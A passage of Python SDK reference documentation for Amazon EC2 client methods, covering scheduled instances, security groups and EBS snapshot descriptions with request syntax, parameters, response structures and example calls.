'SlotDurationInHours': 123, + 'TotalScheduledInstanceHours': 123 + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeScheduledInstanceAvailability. + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null when there are no more results to return. + + * **ScheduledInstanceAvailabilitySet** _(list) --_ + + Information about the available Scheduled Instances. + + * _(dict) --_ + + Describes a schedule that is available for your Scheduled Instances. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **AvailableInstanceCount** _(integer) --_ + + The number of available instances. + + * **FirstSlotStartTime** _(datetime) --_ + + The time period for the first schedule to start. + + * **HourlyPrice** _(string) --_ + + The hourly price for a single instance. + + * **InstanceType** _(string) --_ + + The instance type. You can specify one of the C3, C4, M4, or R3 instance types. + + * **MaxTermDurationInDays** _(integer) --_ + + The maximum term. The only possible value is 365 days. + + * **MinTermDurationInDays** _(integer) --_ + + The minimum term. The only possible value is 365 days. + + * **NetworkPlatform** _(string) --_ + + The network platform (EC2-Classic or EC2-VPC ). + + * **Platform** _(string) --_ + + The platform (Linux/UNIX or Windows ). + + * **PurchaseToken** _(string) --_ + + The purchase token. This token expires in two hours. + + * **Recurrence** _(dict) --_ + + The schedule recurrence. + + * **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + * **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of frequency . For example, every 2 weeks or every 2 months. + + * **OccurrenceDaySet** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). + + * _(integer) --_ + * **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. + + * **OccurrenceUnit** _(string) --_ + + The unit for occurrenceDaySet (DayOfWeek or DayOfMonth ). + + * **SlotDurationInHours** _(integer) --_ + + The number of hours in the schedule. + + * **TotalScheduledInstanceHours** _(integer) --_ + + The total number of hours for a single instance for the entire term. + + +**Examples** + +This example describes a schedule that occurs every week on Sunday, starting on the specified date. Note that the output contains a single schedule as an example. + +response = client.describe_scheduled_instance_availability( + FirstSlotStartTimeRange={ + 'EarliestTime': datetime(2016, 1, 31, 0, 0, 0, 6, 31, 0), + 'LatestTime': datetime(2016, 1, 31, 4, 0, 0, 6, 31, 0), + }, + Recurrence={ + 'Frequency': 'Weekly', + 'Interval': 1, + 'OccurrenceDays': [ + 1, + ], + }, +) + +print(response) + +Expected Output: + +{ + 'ScheduledInstanceAvailabilitySet': [ + { + 'AvailabilityZone': 'us-west-2b', + 'AvailableInstanceCount': 20, + 'FirstSlotStartTime': datetime(2016, 1, 31, 0, 0, 0, 6, 31, 0), + 'HourlyPrice': '0.095', + 'InstanceType': 'c4.large', + 'MaxTermDurationInDays': 366, + 'MinTermDurationInDays': 366, + 'NetworkPlatform': 'EC2-VPC', + 'Platform': 'Linux/UNIX', + 'PurchaseToken': 'eyJ2IjoiMSIsInMiOjEsImMiOi...', + 'Recurrence': { + 'Frequency': 'Weekly', + 'Interval': 1, + 'OccurrenceDaySet': [ + 1, + ], + 'OccurrenceRelativeToEnd': False, + }, + 'SlotDurationInHours': 23, + 'TotalScheduledInstanceHours': 1219, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_scheduled_instances(kwargs_) + +Describes the specified Scheduled Instances or all your Scheduled Instances. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeScheduledInstances) + +**Request Syntax** + +response = client.describe_scheduled_instances( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + ScheduledInstanceIds=[ + 'string', + ], + SlotStartTimeRange={ + 'EarliestTime': datetime(2015, 1, 1), + 'LatestTime': datetime(2015, 1, 1) + } +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Filters** (_list_) -- + + The filters. + + * availability-zone - The Availability Zone (for example, us-west-2a ). + * instance-type - The instance type (for example, c4.large ). + * network-platform - The network platform (EC2-Classic or EC2-VPC ). + * platform - The platform (Linux/UNIX or Windows ). + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. This value can be between 5 and 300. The default value is 100. To retrieve the remaining results, make another call with the returned NextToken value. +* **NextToken** (_string_) -- The token for the next set of results. +* **ScheduledInstanceIds** (_list_) -- + + The Scheduled Instance IDs. + + * _(string) --_ +* **SlotStartTimeRange** (_dict_) -- + + The time period for the first schedule to start. + + * **EarliestTime** _(datetime) --_ + + The earliest date and time, in UTC, for the Scheduled Instance to start. + + * **LatestTime** _(datetime) --_ + + The latest date and time, in UTC, for the Scheduled Instance to start. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NextToken': 'string', + 'ScheduledInstanceSet': [ + { + 'AvailabilityZone': 'string', + 'CreateDate': datetime(2015, 1, 1), + 'HourlyPrice': 'string', + 'InstanceCount': 123, + 'InstanceType': 'string', + 'NetworkPlatform': 'string', + 'NextSlotStartTime': datetime(2015, 1, 1), + 'Platform': 'string', + 'PreviousSlotEndTime': datetime(2015, 1, 1), + 'Recurrence': { + 'Frequency': 'string', + 'Interval': 123, + 'OccurrenceDaySet': [ + 123, + ], + 'OccurrenceRelativeToEnd': True|False, + 'OccurrenceUnit': 'string' + }, + 'ScheduledInstanceId': 'string', + 'SlotDurationInHours': 123, + 'TermEndDate': datetime(2015, 1, 1), + 'TermStartDate': datetime(2015, 1, 1), + 'TotalScheduledInstanceHours': 123 + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + Contains the output of DescribeScheduledInstances. + + * **NextToken** _(string) --_ + + The token required to retrieve the next set of results. This value is null when there are no more results to return. + + * **ScheduledInstanceSet** _(list) --_ + + Information about the Scheduled Instances. + + * _(dict) --_ + + Describes a Scheduled Instance. + + * **AvailabilityZone** _(string) --_ + + The Availability Zone. + + * **CreateDate** _(datetime) --_ + + The date when the Scheduled Instance was purchased. + + * **HourlyPrice** _(string) --_ + + The hourly price for a single instance. + + * **InstanceCount** _(integer) --_ + + The number of instances. + + * **InstanceType** _(string) --_ + + The instance type. + + * **NetworkPlatform** _(string) --_ + + The network platform (EC2-Classic or EC2-VPC ). + + * **NextSlotStartTime** _(datetime) --_ + + The time for the next schedule to start. + + * **Platform** _(string) --_ + + The platform (Linux/UNIX or Windows ). + + * **PreviousSlotEndTime** _(datetime) --_ + + The time that the previous schedule ended or will end. + + * **Recurrence** _(dict) --_ + + The schedule recurrence. + + * **Frequency** _(string) --_ + + The frequency (Daily , Weekly , or Monthly ). + + * **Interval** _(integer) --_ + + The interval quantity. The interval unit depends on the value of frequency . For example, every 2 weeks or every 2 months. + + * **OccurrenceDaySet** _(list) --_ + + The days. For a monthly schedule, this is one or more days of the month (1-31). For a weekly schedule, this is one or more days of the week (1-7, where 1 is Sunday). + + * _(integer) --_ + * **OccurrenceRelativeToEnd** _(boolean) --_ + + Indicates whether the occurrence is relative to the end of the specified week or month. + + * **OccurrenceUnit** _(string) --_ + + The unit for occurrenceDaySet (DayOfWeek or DayOfMonth ). + + * **ScheduledInstanceId** _(string) --_ + + The Scheduled Instance ID. + + * **SlotDurationInHours** _(integer) --_ + + The number of hours in the schedule. + + * **TermEndDate** _(datetime) --_ + + The end date for the Scheduled Instance. + + * **TermStartDate** _(datetime) --_ + + The start date for the Scheduled Instance. + + * **TotalScheduledInstanceHours** _(integer) --_ + + The total number of hours for a single instance for the entire term. + + +**Examples** + +This example describes the specified Scheduled Instance. + +response = client.describe_scheduled_instances( + ScheduledInstanceIds=[ + 'sci-1234-1234-1234-1234-123456789012', + ], +) + +print(response) + +Expected Output: + +{ + 'ScheduledInstanceSet': [ + { + 'AvailabilityZone': 'us-west-2b', + 'CreateDate': datetime(2016, 1, 25, 21, 43, 38, 0, 25, 0), + 'HourlyPrice': '0.095', + 'InstanceCount': 1, + 'InstanceType': 'c4.large', + 'NetworkPlatform': 'EC2-VPC', + 'NextSlotStartTime': datetime(2016, 1, 31, 9, 0, 0, 6, 31, 0), + 'Platform': 'Linux/UNIX', + 'Recurrence': { + 'Frequency': 'Weekly', + 'Interval': 1, + 'OccurrenceDaySet': [ + 1, + ], + 'OccurrenceRelativeToEnd': False, + 'OccurrenceUnit': '', + }, + 'ScheduledInstanceId': 'sci-1234-1234-1234-1234-123456789012', + 'SlotDurationInHours': 32, + 'TermEndDate': datetime(2017, 1, 31, 9, 0, 0, 1, 31, 0), + 'TermStartDate': datetime(2016, 1, 31, 9, 0, 0, 6, 31, 0), + 'TotalScheduledInstanceHours': 1696, + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_security_group_references(kwargs_) + +[VPC only] Describes the VPCs on the other side of a VPC peering connection that are referencing the security groups you've specified in this request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroupReferences) + +**Request Syntax** + +response = client.describe_security_group_references( + DryRun=True|False, + GroupId=[ + 'string', + ] +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **GroupId** (_list_) -- + + **[REQUIRED]** + + The IDs of the security groups in your account. + + * _(string) --_ + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SecurityGroupReferenceSet': [ + { + 'GroupId': 'string', + 'ReferencingVpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **SecurityGroupReferenceSet** _(list) --_ + + Information about the VPCs with the referencing security groups. + + * _(dict) --_ + + Describes a VPC with a security group that references your security group. + + * **GroupId** _(string) --_ + + The ID of your security group. + + * **ReferencingVpcId** _(string) --_ + + The ID of the VPC with the referencing security group. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection. + + +**Examples** + +This example describes the security group references for the specified security group. + +response = client.describe_security_group_references( + GroupId=[ + 'sg-903004f8', + ], +) + +print(response) + +Expected Output: + +{ + 'SecurityGroupReferenceSet': [ + { + 'GroupId': 'sg-903004f8', + 'ReferencingVpcId': 'vpc-1a2b3c4d', + 'VpcPeeringConnectionId': 'pcx-b04deed9', + }, + ], + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_security_groups(kwargs_) + +Describes the specified security groups or all of your security groups. + +A security group is for use with instances either in the EC2-Classic platform or in a specific VPC. For more information, see [Amazon EC2 Security Groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) in the _Amazon Elastic Compute Cloud User Guide_ and [Security Groups for Your VPC](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_SecurityGroups.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSecurityGroups) + +**Request Syntax** + +response = client.describe_security_groups( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + GroupIds=[ + 'string', + ], + GroupNames=[ + 'string', + ], + DryRun=True|False, + NextToken='string', + MaxResults=123 +) + +Parameters + +* **Filters** (_list_) -- + + The filters. If using multiple filters for rules, the results include security groups for which any combination of rules - not necessarily a single rule - match all filters. + + * description - The description of the security group. + * egress.ip-permission.cidr - An IPv4 CIDR block for an outbound security group rule. + * egress.ip-permission.from-port - For an outbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + * egress.ip-permission.group-id - The ID of a security group that has been referenced in an outbound security group rule. + * egress.ip-permission.group-name - The name of a security group that has been referenced in an outbound security group rule. + * egress.ip-permission.ipv6-cidr - An IPv6 CIDR block for an outbound security group rule. + * egress.ip-permission.prefix-list-id - The ID of a prefix list to which a security group rule allows outbound access. + * egress.ip-permission.protocol - The IP protocol for an outbound security group rule (tcp | udp | icmp or a protocol number). + * egress.ip-permission.to-port - For an outbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + * egress.ip-permission.user-id - The ID of an AWS account that has been referenced in an outbound security group rule. + * group-id - The ID of the security group. + * group-name - The name of the security group. + * ip-permission.cidr - An IPv4 CIDR block for an inbound security group rule. + * ip-permission.from-port - For an inbound rule, the start of port range for the TCP and UDP protocols, or an ICMP type number. + * ip-permission.group-id - The ID of a security group that has been referenced in an inbound security group rule. + * ip-permission.group-name - The name of a security group that has been referenced in an inbound security group rule. + * ip-permission.ipv6-cidr - An IPv6 CIDR block for an inbound security group rule. + * ip-permission.prefix-list-id - The ID of a prefix list from which a security group rule allows inbound access. + * ip-permission.protocol - The IP protocol for an inbound security group rule (tcp | udp | icmp or a protocol number). + * ip-permission.to-port - For an inbound rule, the end of port range for the TCP and UDP protocols, or an ICMP code. + * ip-permission.user-id - The ID of an AWS account that has been referenced in an inbound security group rule. + * owner-id - The AWS account ID of the owner of the security group. + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * vpc-id - The ID of the VPC specified when the security group was created. + + * _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **GroupIds** (_list_) -- + + The IDs of the security groups. Required for security groups in a nondefault VPC. + + Default: Describes all your security groups. + + * _(string) --_ +* **GroupNames** (_list_) -- + + [EC2-Classic and default VPC only] The names of the security groups. You can specify either the security group name or the security group ID. For security groups in a nondefault VPC, use the group-name filter to describe security groups by name. + + Default: Describes all your security groups. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **NextToken** (_string_) -- The token to request the next page of results. +* **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another request with the returned NextToken value. This value can be between 5 and 1000. If this parameter is not specified, then all results are returned. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SecurityGroups': [ + { + 'Description': 'string', + 'GroupName': 'string', + 'IpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'OwnerId': 'string', + 'GroupId': 'string', + 'IpPermissionsEgress': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'VpcId': 'string' + }, + ], + 'NextToken': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **SecurityGroups** _(list) --_ + + Information about the security groups. + + * _(dict) --_ + + Describes a security group + + * **Description** _(string) --_ + + A description of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. + + * **IpPermissions** _(list) --_ + + The inbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + * **OwnerId** _(string) --_ + + The AWS account ID of the owner of the security group. + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **IpPermissionsEgress** _(list) --_ + + [VPC only] The outbound rules associated with the security group. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + * **Tags** _(list) --_ + + Any tags assigned to the security group. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + * **VpcId** _(string) --_ + + [VPC only] The ID of the VPC for the security group. + + * **NextToken** _(string) --_ + + The token to use to retrieve the next page of results. This value is null when there are no more results to return. + + +**Examples** + +This example describes the specified security group. + +response = client.describe_security_groups( + GroupIds=[ + 'sg-903004f8', + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +This example describes the security groups that include the specified tag (Purpose=test). + +response = client.describe_security_groups( + Filters=[ + { + 'Name': 'tag:Purpose', + 'Values': [ + 'test', + ], + }, + ], +) + +print(response) + +Expected Output: + +{ + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_snapshot_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshotAttribute) + +**Request Syntax** + +response = client.describe_snapshot_attribute( + Attribute='productCodes'|'createVolumePermission', + SnapshotId='string', + DryRun=True|False +) + +Parameters + +* **Attribute** (_string_) -- + + **[REQUIRED]** + + The snapshot attribute you would like to view. + +* **SnapshotId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS snapshot. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) --_ + + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) --_ + + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) --_ + + The group to be added or removed. The possible value is all . + + * **UserId** _(string) --_ + + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) --_ + + The product codes. + + * _(dict) --_ + + Describes a product code. + + * **ProductCodeId** _(string) --_ + + The product code. + + * **ProductCodeType** _(string) --_ + + The type of product code. + + * **SnapshotId** _(string) --_ + + The ID of the EBS snapshot. + + +**Examples** + +This example describes the createVolumePermission attribute on a snapshot with the snapshot ID of snap-066877671789bd71b. + +response = client.describe_snapshot_attribute( + Attribute='createVolumePermission', + SnapshotId='snap-066877671789bd71b', +) + +print(response) + +Expected Output: + +{ + 'CreateVolumePermissions': [ + ], + 'SnapshotId': 'snap-066877671789bd71b', + 'ResponseMetadata': { + '...': '...', + }, +} + +describe_snapshots(kwargs_) + +Describes the specified EBS snapshots available to you or all of the EBS snapshots available to you. + +The snapshots available to you include public snapshots, private snapshots that you own, and private snapshots owned by other AWS accounts for which you have explicit create volume permissions. + +The create volume permissions fall into the following categories: + +* _public_ : The owner of the snapshot granted create volume permissions for the snapshot to the all group. All AWS accounts have create volume permissions for these snapshots. +* _explicit_ : The owner of the snapshot granted create volume permissions to a specific AWS account. +* _implicit_ : An AWS account has implicit create volume permissions for all snapshots it owns. + +The list of snapshots returned can be filtered by specifying snapshot IDs, snapshot owners, or AWS accounts with create volume permissions. If no options are specified, Amazon EC2 returns all snapshots for which you have create volume permissions. + +If you specify one or more snapshot IDs, only snapshots that have the specified IDs are returned. If you specify an invalid snapshot ID, an error is returned. If you specify a snapshot ID for which you do not have access, it is not included in the returned results. + +If you specify one or more snapshot owners using the OwnerIds option, only snapshots from the specified owners and for which you have access are returned. The results can include the AWS account IDs of the specified owners, amazon for snapshots owned by Amazon, or self for snapshots that you own. + +If you specify a list of restorable users, only snapshots with create snapshot permissions for those users are returned. You can specify AWS account IDs (if you own the snapshots), self for snapshots for which you own or have explicit permissions, or all for public snapshots. + +If you are describing a long list of snapshots, we recommend that you paginate the output to make the list more manageable. The MaxResults parameter sets the maximum number of results returned in a single page. If the list of results exceeds your MaxResults value, then that number of results is returned along with a NextToken value that can be passed to a subsequent DescribeSnapshots request to retrieve the remaining results. + +To get the state of fast snapshot restores for a snapshot, use DescribeFastSnapshotRestores . + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSnapshots) + +**Request Syntax** + +response = client.describe_snapshots( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + SnapshotIds=[ + 'string', + ], + DryRun=True|False +) + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. 